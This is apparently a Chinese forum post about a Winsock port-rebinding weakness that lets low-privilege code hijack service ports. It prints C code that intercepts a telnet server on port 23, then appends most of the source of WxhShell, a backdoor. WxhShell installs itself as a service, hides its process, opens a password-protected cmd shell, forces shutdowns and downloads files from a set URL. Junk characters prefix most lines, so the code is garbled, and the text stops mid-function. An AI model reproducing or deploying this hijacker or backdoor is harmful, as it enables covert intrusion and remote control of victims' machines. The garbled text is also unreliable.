在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Y<VX.S2kf s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
2)|=+DN; GQY"
+xa8] saddr.sin_family = AF_INET;
jLI1Ed y] D\i5Xv saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&&P9T/Zks uj.$GAtO) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$p0D9mF r/a@ x9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
m[2[9bQ0
*~U.36 这意味着什么?意味着可以进行如下的攻击:
n/Fxjf0W
)z@
+|A 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
uKM` umE {S9gOg 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3?"gfw W iBbaHU*V 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:'C?uk ? -p)`o b- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^[HUtq OF']- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
wUr(i * (UjaL@G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
yGt[Qvx# sGtxqnX:J 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?;`GCE JcmMbd&B #include
36+/MvIT #include
R(^Sse #include
m]MR\E5]By #include
5Wa)_@qI)` DWORD WINAPI ClientThread(LPVOID lpParam);
XA;PWl5! int main()
\M@IKE {
2SD
Z WORD wVersionRequested;
&R4?]I DWORD ret;
(n?f016*%d WSADATA wsaData;
_zM?"16I} BOOL val;
KNQj U-A SOCKADDR_IN saddr;
Y_ne?/sZE SOCKADDR_IN scaddr;
t!/~_}eD J int err;
exiu;\+j SOCKET s;
SUMfebW5 SOCKET sc;
{[Ri:^nHgL int caddsize;
T?!SEblP] HANDLE mt;
l6w\E=K DWORD tid;
>\pF5a` wVersionRequested = MAKEWORD( 2, 2 );
%u&Vt"6m= err = WSAStartup( wVersionRequested, &wsaData );
tyW[i8)O} if ( err != 0 ) {
h'h8Mm printf("error!WSAStartup failed!\n");
_oBx:G6E return -1;
]] 0 M }
86-Rm saddr.sin_family = AF_INET;
v+Y^mV`| AU`z.Isf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
E8sM`2z5 Ar/P%$Zfq saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
LsIZeL^ saddr.sin_port = htons(23);
!BkE-9v?w if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ce<z[?u {
oowofi(E printf("error!socket failed!\n");
oi7k#^ return -1;
=
E_i }
Y]`=cR`/" val = TRUE;
XZ@+aG_%q //SO_REUSEADDR选项就是可以实现端口重绑定的
(9aOET>GG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3Q62H+MC {
B\rY\ printf("error!setsockopt failed!\n");
jJ<&!= return -1;
'\8YH+%It }
[Ca''JqrA //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
I$+=Fb'N0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
O
]
!tK //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
DU"Gz!X]Jd k&t.(r\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
x2)WiO/As {
<#M1I!R ret=GetLastError();
Y&=DjKoVh printf("error!bind failed!\n");
a9NuYYr,h return -1;
<BBzv-?D }
Wq}6RdY$ZA listen(s,2);
-wC}JVVcK while(1)
w]T_%mdk {
_)Txg2?= caddsize = sizeof(scaddr);
GOA
dhh- //接受连接请求
g_l-@ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_7:Bxx4B if(sc!=INVALID_SOCKET)
=*ErN {
B:v_5e\f@ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`fEzE\\!* if(mt==NULL)
?F[_5ls|] {
JLWm9c+UTG printf("Thread Creat Failed!\n");
zJ8T.+qJ break;
dT 7fyn }
~1*37 w~ }
|*zgX]-+; CloseHandle(mt);
HX| p4-L }
r]\[G6mE% closesocket(s);
JiXE {( WSACleanup();
P6> C+T1 return 0;
-WyB2$!( }
Y+23 jlgb DWORD WINAPI ClientThread(LPVOID lpParam)
$RI$VyAjD {
sXPva@8_ SOCKET ss = (SOCKET)lpParam;
3A"TpR4f` SOCKET sc;
Kzq^f=p unsigned char buf[4096];
td\gk SOCKADDR_IN saddr;
8lqmd1v long num;
6 A]a@,PC DWORD val;
3*%+NQIj DWORD ret;
RfvvX$ //如果是隐藏端口应用的话,可以在此处加一些判断
#X*);cn //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Px?"5g#+ saddr.sin_family = AF_INET;
1nvT={'R saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
[Pp#r&4H saddr.sin_port = htons(23);
8irTGA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+[n#{;]< {
v.:Q& ] printf("error!socket failed!\n");
`/R. 5;$| return -1;
Pr%KcR ; }
E,?IIRg& val = 100;
zpf<!x^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Wy6a4oY {
g6DIWMoO=h ret = GetLastError();
gk8v{'0Er return -1;
7vPGb:y }
\+U;$.)3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#Cs/.(< {
Y~^R^J ret = GetLastError();
7],y(:[=v return -1;
P;gd!Yl<- }
{*hGe_^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
pQ7elv] {
"X?Zw$gRud printf("error!socket connect failed!\n");
v?3xWXX, closesocket(sc);
N,9~J"z closesocket(ss);
W4nn)qBrh return -1;
G){+.X4g3 }
/\Xe'& while(1)
fYZd:3VdC {
pg,JYn //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
;IPk+,hpmi //如果是嗅探内容的话,可以再此处进行内容分析和记录
]QHZ[C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
@0H0!9' num = recv(ss,buf,4096,0);
@m`H~]AU if(num>0)
6_yatq5c send(sc,buf,num,0);
YT[=o}jS else if(num==0)
P$h) Y break;
DTi^* Wj num = recv(sc,buf,4096,0);
DrBkR`a? if(num>0)
jc>B^mqx send(ss,buf,num,0);
Jk|DWZ else if(num==0)
o(v7&m; break;
d,meKQn }
zU0JwZi closesocket(ss);
"k"+qR`fH closesocket(sc);
/s(PFN8#Y return 0 ;
16z
WmJH }
^l
;Bo3^_ !_c6 `oW "=40%j0 ==========================================================
' _K`1U zh?B-"O=5 下边附上一个代码,,WXhSHELL
k{Y\YG%b
zC[LcC*+J ==========================================================
@#o7U b/#<::D ` #include "stdafx.h"
ib]<;t L4u.cHJ}0 #include <stdio.h>
Q>w)b]d~c #include <string.h>
wax^iL! #include <windows.h>
b=W kRj #include <winsock2.h>
ojj
T #include <winsvc.h>
dKchQsgCg #include <urlmon.h>
T# tFzbr hD,^mru #pragma comment (lib, "Ws2_32.lib")
hOIg7=v #pragma comment (lib, "urlmon.lib")
0T$ `;~ 9/&1lFKJ #define MAX_USER 100 // 最大客户端连接数
RJT55Rv{ #define BUF_SOCK 200 // sock buffer
xTcY& #define KEY_BUFF 255 // 输入 buffer
m^/>C-&C BTA2[' #define REBOOT 0 // 重启
<X1[j9Qtv0 #define SHUTDOWN 1 // 关机
Tn3C0 3XbFg%8YG #define DEF_PORT 5000 // 监听端口
#:MoZw`rlw !HXsxNe #define REG_LEN 16 // 注册表键长度
>A6PH*x #define SVC_LEN 80 // NT服务名长度
%2G3+T8*x %md9ou` // 从dll定义API
)J[Ady^5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
.'-t>(}v typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[a^<2V!vMn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
[c=![*}/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
b4ke'gx P=9sP:[f6 // wxhshell配置信息
5rA>2<\pQ struct WSCFG {
9/#b1NGv int ws_port; // 监听端口
geqx":gpx9 char ws_passstr[REG_LEN]; // 口令
\IR$~ int ws_autoins; // 安装标记, 1=yes 0=no
fv>Jn` char ws_regname[REG_LEN]; // 注册表键名
* _,yK-et char ws_svcname[REG_LEN]; // 服务名
j_zy"8Y{ char ws_svcdisp[SVC_LEN]; // 服务显示名
73nmDZO| char ws_svcdesc[SVC_LEN]; // 服务描述信息
6p,}?6^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~ :B/`1[m int ws_downexe; // 下载执行标记, 1=yes 0=no
0 R&7vn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
3`"k1W char ws_filenam[SVC_LEN]; // 下载后保存的文件名
hGUQdTNP }4Gn$'e };
R3BK\kf& 1_n5: // default Wxhshell configuration
Z3Xgi~c struct WSCFG wscfg={DEF_PORT,
-fK_F6_\] "xuhuanlingzhe",
$7Lcn9?G 1,
GL&rT& "Wxhshell",
p1ER<_fp "Wxhshell",
o3OJI_
v& "WxhShell Service",
"KY]2v. "Wrsky Windows CmdShell Service",
bG)6p05Oa "Please Input Your Password: ",
<&t[E0mU 1,
SQw"mO "
http://www.wrsky.com/wxhshell.exe",
K~8!Gh{h] "Wxhshell.exe"
.d4&s7n0 };
<2+FE/3L `
-<S13 // 消息定义模块
z`8>$9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
V F"c} char *msg_ws_prompt="\n\r? for help\n\r#>";
kf)s3I/`( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<|a9r: [ char *msg_ws_ext="\n\rExit.";
2l8z/o 7v char *msg_ws_end="\n\rQuit.";
i}5+\t[Q char *msg_ws_boot="\n\rReboot...";
.Ag)/Xm(? char *msg_ws_poff="\n\rShutdown...";
Vf(n char *msg_ws_down="\n\rSave to ";
@d[)i,d:G XToYtdt2 char *msg_ws_err="\n\rErr!";
Pv8AWQQJ char *msg_ws_ok="\n\rOK!";
^DR`!.ttr D4+OWbf6 char ExeFile[MAX_PATH];
fhQ N;7 int nUser = 0;
-]MZP:s HANDLE handles[MAX_USER];
O<0-`=W,a int OsIsNt;
8O^z{Yh7 7q^a@5f BG SERVICE_STATUS serviceStatus;
xSjs+Y;Mu SERVICE_STATUS_HANDLE hServiceStatusHandle;
sQY0Xys<4 Bq\WG=Fd // 函数声明
c5HW.3" int Install(void);
LS1}j WU! int Uninstall(void);
Jz_`dLL^w int DownloadFile(char *sURL, SOCKET wsh);
qI\B;&hr( int Boot(int flag);
V ;M'd@ void HideProc(void);
b=Q%Jxz? int GetOsVer(void);
YccD^w[`B int Wxhshell(SOCKET wsl);
T:udw void TalkWithClient(void *cs);
N8]d0 int CmdShell(SOCKET sock);
Y{m1\s/ o int StartFromService(void);
rP&.`m88n int StartWxhshell(LPSTR lpCmdLine);
N5fMMi(O (Yc}V VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`q1K%id VOID WINAPI NTServiceHandler( DWORD fdwControl );
ezk:XDi4 DzvGR)>/ // 数据结构和表定义
)XD$YI SERVICE_TABLE_ENTRY DispatchTable[] =
9uY$@7qH {
> bSQ}kXe {wscfg.ws_svcname, NTServiceMain},
X57\sggK {NULL, NULL}
"1$hfs };
]P(_
d'} sMb+4{W&6 // 自我安装
]3yaIlpD1 int Install(void)
xV5eKV {
@1 )][r-7 char svExeFile[MAX_PATH];
("@ih]zYf HKEY key;
pS)/yMlVj strcpy(svExeFile,ExeFile);
pd}af iF
0GiL(e| // 如果是win9x系统,修改注册表设为自启动
N7qSbiRf< if(!OsIsNt) {
lV<j?I~?Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
R&s\h"=* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
E.rfS$<1 RegCloseKey(key);
ob>2SU[Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&1Idv}@! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>PiEu->P, RegCloseKey(key);
Tk0Senq, return 0;
H9T'{R*FC }
X9n},}bJ" }
cH\.-5NQ }
rc]`PV else {
.^*
.-8q D&#ph%U,P // 如果是NT以上系统,安装为系统服务
^T/d34A;SP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
w#`E;fN' if (schSCManager!=0)
i!EN/Bd {
x AR9* <- SC_HANDLE schService = CreateService
'|l1-yD_ (
OX)[?1m8 schSCManager,
@Vac!A??: wscfg.ws_svcname,
q%GlS=o" wscfg.ws_svcdisp,
o%=OBTh_ SERVICE_ALL_ACCESS,
TW?A/GoXI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
!BW6l)=L SERVICE_AUTO_START,
cYp]zn+6 SERVICE_ERROR_NORMAL,
V@Fj!/ svExeFile,
keWqL] NULL,
2p|[yZ NULL,
'IroQ M NULL,
Ce1^S[ NULL,
yGtGhP8 NULL
,XNz.+Ov );
ue{0X\[P< if (schService!=0)
r%~/y {
(Y%pk76d CloseServiceHandle(schService);
u>o2lvy8 CloseServiceHandle(schSCManager);
Mk@%Wuxg2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
E"$AOM?(*i strcat(svExeFile,wscfg.ws_svcname);
o72G oUfs if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\"@BZ.y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
I='S). RegCloseKey(key);
zDO`w0N return 0;
Wr Nm:N }
+\n8##oAI }
d' Z CloseServiceHandle(schSCManager);
8(c,b }
8n^v,s > }
w{;esU nv^nq]4'Dq return 1;
yb:Xjg7
}
{
'Db <Sx-Ca7 // 自我卸载
?oX.$E?( int Uninstall(void)
J}cqBk> {
I+]q;dF; HKEY key;
Wp<4F6C$@ gIfl}Jat if(!OsIsNt) {
"eiZZSz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%;|^*?!J0 RegDeleteValue(key,wscfg.ws_regname);
B&E qd RegCloseKey(key);
fQ[ GN}k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5&\% RegDeleteValue(key,wscfg.ws_regname);
*u4h+P RegCloseKey(key);
<Prz>qL$ return 0;
nT.2HQ((Xg }
$($26g }
~]_gq;bG }
d)&}%
2ku else {
pO.+hy s*k[Fbi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9$pQ|e0tJ if (schSCManager!=0)
HTz&h#)JQ {
nDvj*lZF SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
El$yM.M" if (schService!=0)
-kVt_ {
l|c# if(DeleteService(schService)!=0) {
`}YCUm[SI CloseServiceHandle(schService);
3~7X2}qU CloseServiceHandle(schSCManager);
mPy=,xYyC return 0;
@3hA\3ot^ }
pPNU0]/ CloseServiceHandle(schService);
Q^qdm5}UkW }
R7)2@;i CloseServiceHandle(schSCManager);
6ZCSCBW }
i+)9ItZr }
Bu\:+3 ) +&7D
;wj= return 1;
"r Bb2. }
XUrxnJ4 qMrBTq[ // 从指定url下载文件
'7UW\KEB[} int DownloadFile(char *sURL, SOCKET wsh)
yrnIQu*Uu {
4#o Lf1 HRESULT hr;
ppjS|l*` char seps[]= "/";
4]F:QS%
x char *token;
#&A)%Qbg char *file;
%B&y^mZv*\ char myURL[MAX_PATH];
U=4tJb char myFILE[MAX_PATH];
ahno$[ yaiw|j`A strcpy(myURL,sURL);
j`GL#J[wqQ token=strtok(myURL,seps);
&"(xd@V)]A while(token!=NULL)
u!FX 0Ip {
2aef[TY file=token;
Ov$_Phm: token=strtok(NULL,seps);
f,ajo
}
l
cHqg ^Gc#D:zU GetCurrentDirectory(MAX_PATH,myFILE);
,,hW|CmN30 strcat(myFILE, "\\");
-hx' T6G% strcat(myFILE, file);
N<lO!x1[H* send(wsh,myFILE,strlen(myFILE),0);
^a6c/2K send(wsh,"...",3,0);
'$@bTW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#Ont1>T,G if(hr==S_OK)
bnb:4?d] return 0;
DdY89R 6 else
/~?'zr return 1;
~|_s2T U8+5{,$\. }
{G:dhi lLq:(zMH // 系统电源模块
aXAV`%b int Boot(int flag)
'rZYl Qm {
Cy'0O>v5 HANDLE hToken;
3]=j!_yJf TOKEN_PRIVILEGES tkp;
\^$g%a Fc{X$hh< if(OsIsNt) {
8.S&J6 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.Du-~N4\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
T2Q`Ax7 tkp.PrivilegeCount = 1;
}pOem} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
1'O++j_%y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
T)ZO+} if(flag==REBOOT) {
21b if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
K+=cNC4B return 0;
MlDWK_y_& }
z?NMQ8l|:6 else {
9A@/5Z:v5W if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
8U98`#
i return 0;
g%P6 f }
3oH .1M/ }
T}%8Vlt] else {
+HGPn0As if(flag==REBOOT) {
X,)`<
>=O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
G4=R4'hC return 0;
hRU.^Fn#% }
&LRO^[d else {
{tq.c9+!d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
bq mb|mD return 0;
8|5ttdZ }
z}>q/!q }
]kXiT Yg k,p:!S(bl return 1;
/i'dhiG }
c7~+ 5 : MfY8P) // win9x进程隐藏模块
O] T'\6w void HideProc(void)
4CUzp.S`h {
4'Svio &:K!$W HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2U;6sn*e if ( hKernel != NULL )
O;bnyB$ {
_"b[UT}m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Ka EL* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
k/6Qwb# FreeLibrary(hKernel);
Bu[sSoA }
}XJA#@ M0+xl+c+ return;
4 f)B@A- }
P!c.!8C$ ]LcCom:] // 获取操作系统版本
4=BIYC"Lu int GetOsVer(void)
q5@N//<DNN {
gk & OSVERSIONINFO winfo;
Q L0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_6y#?8RMB GetVersionEx(&winfo);
=tP%K*Il4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
(KHO'QNMt^ return 1;
[;?CO< else
aYJTSgW return 0;
t)!(s,;T }
,;&j*qFi %T~3xQ // 客户端句柄模块
MBeubS int Wxhshell(SOCKET wsl)
Wu}84W"!.V {
IE^xk@ SOCKET wsh;
'AU:[eyUV struct sockaddr_in client;
%5?Zjp+9 DWORD myID;
/0.m|Th'm A_:CGtv: while(nUser<MAX_USER)
MmI[: {
ECZ`I Z. int nSize=sizeof(client);
GkOZ=ej wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
`#/0q*$ if(wsh==INVALID_SOCKET) return 1;
*H2@lrc 9oe=*#Ig1m handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
No|T#=BZ[ if(handles[nUser]==0)
Kc3BVZ71 closesocket(wsh);
@%aU)YDwi else
Q%_QT0H9Kz nUser++;
dH5 Go9`~R }
4l2/eh]Hc( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
H
~VeY\:w
bS1?I@ return 0;
)#(6J }
~AvB5 4qsP/`8 // 关闭 socket
9;ZaL7> void CloseIt(SOCKET wsh)
5$58z {
-Lo3@:2i closesocket(wsh);
nzcXL
=^r3 nUser--;
IBT1If3 ExitThread(0);
j
aU.hASj }
rEoMj)~\4& i9RAbt Q} // 客户端请求句柄
(aeS+d x void TalkWithClient(void *cs)
ro%Jg {
l;~b:[r 8q}955Nl SOCKET wsh=(SOCKET)cs;
4X}.aZO&b char pwd[SVC_LEN];
=._V$:a6o char cmd[KEY_BUFF];
~W>3EJghR, char chr[1];
L?Fb} int i,j;
H Q_IQ+ ++gWyzD while (nUser < MAX_USER) {
762c`aP_( (XU(e if(wscfg.ws_passstr) {
J,W<vrKOcN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
dvW2X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*!m\%*y{ //ZeroMemory(pwd,KEY_BUFF);
+u[^@>_I0 i=0;
I2&R+~ktR while(i<SVC_LEN) {
hy]8t1894 at
)m* // 设置超时
2FE13{+f fd_set FdRead;
{%&!x;% struct timeval TimeOut;
59@PY! c> FD_ZERO(&FdRead);
S/2lK*F FD_SET(wsh,&FdRead);
CVAX?c{ TimeOut.tv_sec=8;
N 4!18{/2 TimeOut.tv_usec=0;
Ib&]1ger#= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
p0|PVn.^h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
_w.H]`C!X u6t%*'' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
l^cz&k=+ pwd
=chr[0]; 9OS~;9YR
if(chr[0]==0xd || chr[0]==0xa) { y),yks?iv
pwd=0; zMg(\8
break; K_Q-9j
} nu6p{_M
i++; B<Zm'hdX
} 2{6%+>jB
B>kVJK`X
// 如果是非法用户,关闭 socket 8
U<$u,WS
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \dHdL\f
} sJ>JHv
=mp"=%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6N#0D2~^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uBUT84i
v[b|J7k
while(1) { i"h~QEE
Oj F]K,$
ZeroMemory(cmd,KEY_BUFF); nw
sPP(>y( \
// 自动支持客户端 telnet标准 7%sx["%@
j=0; )F\^-laMuK
while(j<KEY_BUFF) { "Q.KBX v/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *km!<L7Y
cmd[j]=chr[0]; CxV$_J
if(chr[0]==0xa || chr[0]==0xd) { ,{jF)NQaP
cmd[j]=0; ZWb\^N
break; <ht^Ck
} K&{ruHoKB
j++; S] R.:T_%
} >h9T/J8
<"z9(t(V\%
// 下载文件 fAT+x1J\
if(strstr(cmd,"http://")) { nkO4~p
send(wsh,msg_ws_down,strlen(msg_ws_down),0); #GfM!<q<
if(DownloadFile(cmd,wsh)) xFj<KvV[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BmI'XB3'P
else <Em|0hth
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5?34<B
} 5@nvcCp
else { .)|2^ 'W
!F08F>@D
switch(cmd[0]) { \^3cNw
aE2Yl
// 帮助 FwpTQix!
case '?': { W5(.Hub}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m0,TH[HWGF
break; ~(-df>
} A2%RcKY7
// 安装 p7p6~;P
case 'i': { u):Nq<X
if(Install()) FfM,~s<Efz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v@1f,d
else vVFT0_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;XI=Y"h{%
break; c{{RP6o/j=
} q!as~{!
// 卸载 C,) e7
case 'r': { +EvY-mwfQ
if(Uninstall()) -1%AM40j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m+EtB6r
else Kwo0%2Onkd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *XkgwJq
break; Dq<!wtFG[
} V`_)H
// 显示 wxhshell 所在路径 k&pV`.Imi
case 'p': { #^9a[ZLj0
char svExeFile[MAX_PATH]; tKCX0UZ'
strcpy(svExeFile,"\n\r"); 2!nz>K
strcat(svExeFile,ExeFile); <.U(%`|
send(wsh,svExeFile,strlen(svExeFile),0); ^TqR0a-*
break; bmw"-W^U[
} Ih%LKFT
// 重启 Z"d21D~h9`
case 'b': { a/gr1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VX'G\Zz@h|
if(Boot(REBOOT)) yUX<W'-Hev
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >8EmfjUoc
else { ^o[(F<q
closesocket(wsh); "vo
o!&<
ExitThread(0); p sAr>:\3
} S20E}bS:>
break; wT&P].5n
} K{`3,U2Wx
// 关机 DxzNg_E]
case 'd': { "64D.c(r$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q j*77
if(Boot(SHUTDOWN)) <(x!P=NM-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nzl3<Ar
else { :Y[?@/m4
closesocket(wsh); {TC_
4Y|8
ExitThread(0); w!/|aZ~*
} x-HR [{C
break; %!V =noo
} g*$yUt
// 获取shell jWGX:XB
case 's': { r^ +n06[
CmdShell(wsh); wyUfmk_}
closesocket(wsh); AxiCpAS;J
ExitThread(0); ^03M~SNCj
break; DX<xkS[P
} ;s w3MRJ
// 退出 7s2e>6Q[
case 'x': { @iaz_;
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ke5_lr(
CloseIt(wsh); WbHI>tt
break; f4+}k GJN
} Yp6%
@c6\
// 离开 86ml.VOR
case 'q': { )"&\S6*!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .!Q?TSQ+{!
closesocket(wsh); "/zDcZbL;
WSACleanup(); Kc{~Q
exit(1); )B5(V5-!|
break; e%v0EJ},
} FS6I?q#tQ
} --g?`4
} `l<pH<F
#yR@.&P
// 提示信息 H
>1mi_1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~.TKzh'eB
} ziG]BZ
} ~MZ.988:<
rtk1 8U-
return; IK|W^hH\8
} ZN-5W|' O
RLUH[[
// shell模块句柄 ~n9-
int CmdShell(SOCKET sock) 1"
#W1im
{ zHt}`>y&
STARTUPINFO si; 1/vcj~|)t
ZeroMemory(&si,sizeof(si)); zK ir
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
%( o[Hsl
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E@S5|CM
PROCESS_INFORMATION ProcessInfo; #)28ESj
char cmdline[]="cmd"; 0?\d%J!"S
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =f-.aq(G/
return 0; Xd@x(T~'X
} ?G$X
4KY6`
tCbnB
// 自身启动模式 tC'@yX
int StartFromService(void)
-TKQfd
{ MDh^ic5
typedef struct 6)Dp2
